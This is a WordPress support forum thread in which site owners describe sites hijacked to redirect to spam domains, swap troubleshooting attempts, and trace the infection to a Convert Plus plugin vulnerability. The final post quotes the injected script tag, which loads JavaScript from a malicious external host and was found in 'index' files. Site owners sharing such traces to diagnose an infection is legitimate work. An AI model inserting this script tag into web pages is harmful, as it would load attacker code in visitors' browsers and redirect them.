Site infected. Wordfence ignores it

Are you sure your browser is not compromised? (Extension or others) I can’t pick up anything on your site…

Today my friend messaged me that my site was redirecting to some spammy link.

I checked and he was right.

I tried almost everything, checked it with wordfence, sucuri and other plugins. reverted website from old digitalocean snapshot. (when website worked properly) but was getting the same result redirecting to ms-75.includemylife.info (it also offers notifications and when you press “block” you are redirecting to different url – numbers change, e.g ms-80.includemylife.info and etc. )

then I went to digitalocean and enabled SSL, so now I can access website through https://odelia.ge (I was able to access only admin panel before that).

I changed wp settings so my admin panel is also on https.

But when I enter just odelia.ge in address bar, I am not being redirected to https version (I should after SSL is active from server) but to the same old malware link.

:/

@kberulava, Even I am facing the same issue with my website which redirects toincludemylife.info. My website is already running on https, but the problem couldn’t be solved. Please let me know if you find any solution to remove that malware to avoid redirect.

I have the same problem.
https://www.focusgroup.kg

Is there a solution for this bot? Anyone help please?)

one important thing is to find the source. In my openion it must be a problem of an installed 3rd-party plugin. A List of the installed plugins could be usefull.

I have the same problem on https://www.albacourse.com webstie. If you have any sollution please share it with us. I have checked https://www.focusgroup.kg but I works well. How could you solved the problem? @askekg ? Thank you in advance.

Hi I have the same issue, are we all using the7 theme? It comes with a number of plugins. I have replaced these but I fear the database may be infected. I’ve replaced all plugin files but no fix as yet.

• This reply was modified 5 years, 5 months ago by webfoleo.

The problem was a vulnerability in Convert Plus.

https://www.convertplug.com/plus/version-3-4-2-important-security-update/

Update this on all your other sites and remove the administrators. We just to fix the damage now ??

All the files, which consist “index” on the name have the following script on the first line: script type=’text/javascript’ async src=’https://css.developmyredflag.top/sjquery.min.js?style=prime&’
I have removed them manually, but it seems not to solve the problem. Any idea? ??